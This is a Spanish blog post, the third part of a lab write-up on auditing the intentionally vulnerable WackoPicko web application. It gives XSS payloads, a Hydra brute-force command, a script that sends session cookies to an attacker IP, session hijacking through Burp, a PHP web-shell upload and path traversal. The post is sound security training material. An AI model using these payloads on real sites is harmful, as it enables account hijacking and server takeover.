Reto Web WackoPicko (III)

Como tercera y última entrada del reto veremos que otras vulnerabilidades encontramos y como intentar sacar ventaja de ellas. Para ello continuaremos donde lo dejamos en la segunda entrada: auditando la parte concerniente a un usuario no autenticado, y por tanto, la parte pública de la web.

Entre los distintos posibles campos vulnerables a Cross Site Scripting o XSS encontramos dos que lo son. El primero se trata de un XSS reflejado y la segunda de un XSS permanente (más crítico).

El XSS reflejado lo encontramos en la opción de búsqueda (Search), en el campo "query" del recurso web /pictures/search.php. Dicho recurso no es filtrado adecudamente y al devolver el resultado de la busqueda añade un letrero del estilo:

Pictures that are tagged as 'prueba'

Si analizamos el código HTML vemos lo siguiente:

<div class="column prepend-1 span-24 first last">
<h2>Pictures that are tagged as 'prueba'</h2>

   <div class="column prepend-1 span-21 first last" style="margin-bottom: 2em;">
      <ul class="thumbnail-pic-list">

Por tanto lo único que tenemos que hacer es cerrar "h2" y "div" e introducir a continuación el código JS o HTML deseado. Por ejemplo para mostrar un "pop-up" con el mensaje "Ola K Ase" simplemente tenemos que introducir el siguiente texto como búsqueda:

'</h2></div><script>alert("Ola K Ase");</script>

En el caso del XSS persistente la vulnerabilidad se encuentre en la pagína de libro de invitados (Guestbook) en el parametro "comment" del recurso "guestbook.php". Al escribir un comentario, éste es guardado de forma permanente en la web, de tal dorma que, cualquier usaurio que visite el libro de visitas pueda ver el comentario. Si en vez de escribir un comentario introducimos código JS cualquier usuario que visitará el libro de visitas ejecutará el código JS introducido previamente por el atacante.

Por ejemplo si se introduce como comentario el siguiente texto se ejecutará otro pop-up con mensaje "LOL":

lalalal</p><script>alert("LOL");</script>

Para finalizar la parte publica vamos a acceder al recurso de administración de la web donde se nos requiere un usaurio y una contraseña para poder acceder al mismo. El recurso se encuentra en el recurso "/admin/index.php". Durante la auditoría de dicho recurso no se encuentra ningúna vulnerabilidad crítica, por lo que se procede como última instancia a comprobar que el servicio no presenta contraseña debiles. Para ello uso la herramienta Hydra en modo consola:

hydra -l admin -P /pentest/passwords/john/password.lst -s 80 -f 172.16.220.133  http-post-form "/WackoPicko/admin/index.php?page=login:adminname=^USER^&password=^PASS^:Admin Area"

Dando como resultado que el usuario admin emplea la contraseña trivial admin permitiendonos autenticarnos en la consola de administración, la cual todo sea dicho, no permite absolutamente hacer nada. Por tanto, no es necesario auditar la parte de administrador autenticado ya que no hay ninguna funcionalidad nueva.

A continucación tenemos que encargarnos de auditar la parte de usuario estandar autenticado en la aplicación web, puesto que previamente hemos auditado la parte pública. Para ello accederemos al entorno con el usuario legítimo previamente creado en el formulario de registro.

La primera vulnerabilidad que encontramos es otro XSS persistente situado en el bloque de comentarios de las fotos. El parametro en cuestión es "text" del recurso "/comments/preview_comment.php" el cual es vulnerable al poder introducir código JS y HTML. Como prueba de concepto podemos tomar el siguiente texto como comentario:

</p></div><script>alert("XSS");</script>

Una vez guardado el comentario, el código será ejecutado cuando un usuario visite la imagen donde se introduzco el comentario:

Vamos a complicar un poco la cosa, de forma que añadiendo un poco más de código JS en el comentario podamos hacer que cuando un usuario autenticado visite la foto, nos envie a un ordenador controlado por nosotros su cookie de sesión. Una vez dispongamos de la cookie del usuarios, podemos suplantar su cuenta sin llegar a conocer nunca ni el usuario ni la contraseña del mismo. Por ejemplo, si la IP del atacante es 172.16.220.132, podríamos enviar el siguiente comentario:

</p></div><script>document.write("<img src='http://172.16.220.132/index.php?=" + document.cookie + "'>");</script>

Donde levantando un netcat en el puerto 80 del equipo del atacante recibimos la cookie de sesión del usuario al visitrar éste la imagen "16" donde se había escrito como comentario el código anterior:

Para explotar la vulnerabilidad lo único que tenemos que hacer es acceder a la web como usaurio no autenticado y modificar el ID de sensión de la cookie mediante un tamper (Tamper Data de Firefox) o un proxy como por ejemplo Burp o Zap. En nuestro caso activamos Burp y modificamos el valor de la sesión de la cookie PHPSESSID por la obtenida de nuestra victima:

Por lo que al enviar al servidor Web la nueva variable de sesión suplantaremos al usuario victima y podremos acceder a la aplicación como si del mismo ususario se tratara:

 

 

Para finalizar, la última vulnerabilidad que detecte estaba relacionado con la funcionalidad Upload de la Web, la cual permitía subir ficheros al servidor. Este tipo de funcionalidades suele tener los típicos vectores de ataque relacionados con path transversal, remote file include y escritura de ficheros con código web.

En el caso de la aplicación detecte dos fallos distintos. El primero está relacionado con el path transversal y el segundo estaba relacionado con la capacidad de poder subir ficheros PHP y poder ejecutarlo en el motor PHP del servidor Web, lo que me permitió obtener una shell.

Para ello debemos acceder a la funcionalidad Upload del recurso y tener preparado una shell PHP como la proporcionada en la BackTrack en "/pentest/backdoors/web/webshells/php/". Una vez accedido al recursos se nos solicita mucha información como nombre del fichero, tag, precio, etc. Vamos a introducirlos con nombres sencillos de reconocer para identificar como almacena la aplicación el fichero:

Una vez enviado el fichero, comprobamos que la Web almacena el fichero de la siguiente forma:

http://Ip_Servidor/WackoPicko/upload/vtag/vname.550.jpg

Es decir, los ficheros se guardan en el directorio "upload" de la aplicación, y dentro de este directorio, el parametro "tag" identifica al directorio. El nombre del fichero está formado por el parametro "name" + ".550.jpg". Así mismo hemos visto que  al subir el fichero PHP no nos ha dado un fallo y este se ha almacenado correctamente. Por tanto el objetivo es intentar eliminar el ".550.jpg" del final. Para ello la mejor forma y sencilla al tratarse de código "PHP" es introducir el caracter "" al final del nombre del fichero, como por ejemplo:

shell.php

El fichero anterior debería ser guardado como "/upload/Vtag/shell.php", pero no se encuentra cuando intentamos acceder a él. Es necesario analizar mejor como funciona la herramienta.

Por ello proceso a subir una imagen estandar y ver como funciona la aplicación. Donde observo que guarda en el directorio especificado la imagen original con el mismo nombre que cuando la subimos, y a su vez, parece crear imagenes ficheros adicionales como el terminado en ".550.jpg" donde se modifica la resolución para adaptarse a la Web. Por ello la solución para subir la shell es mucho más sencilla, únicamente hay que indicar como nombre del fichero "shell.php" sin los "" y subirla de nuevo:

http://Ip_Servidor/WackoPicko/upload/vtag/shell.php

De forma que al acceder al recurso tengamos acceso a una shell PHP:

Para finalizar indicar que el parametro "tag" que identifica al directorio es vulnerable a path transversal con lo que se podría escribir en cualquier parte del recurso web, como por ejemplo en la raiz. Un ejemplo para ello sería el siguiente valor como tag:

../

Con todo lo expuesto hasta ahora daría por finalizado el reto. Si analizamos la documentación del reto indicada en la primera entrada, vemos que en las tres entradas están casi todas las vulnerabilidades notificadas, aunque hay un par que se me escaparón, como la relacionado con el ID de sesión de la parte de administación. 

Creo que este tipo de retos ayudan bastante a la hora de mejorar, o al menos mantenerlos en forma, en lo que es auditoría web básica y sencilla se refiere, sin mucho filtro a nivel de porgramación, WAF, IPS, errores no mostrados, SQL Blind, etc. que sí que complicarían de forma considerable la auditoría.

Ya solo me queda animaros a realizar el reto y comprobar los resultados obtenidos con los mios, así como, los propuestos por los autores del mismo.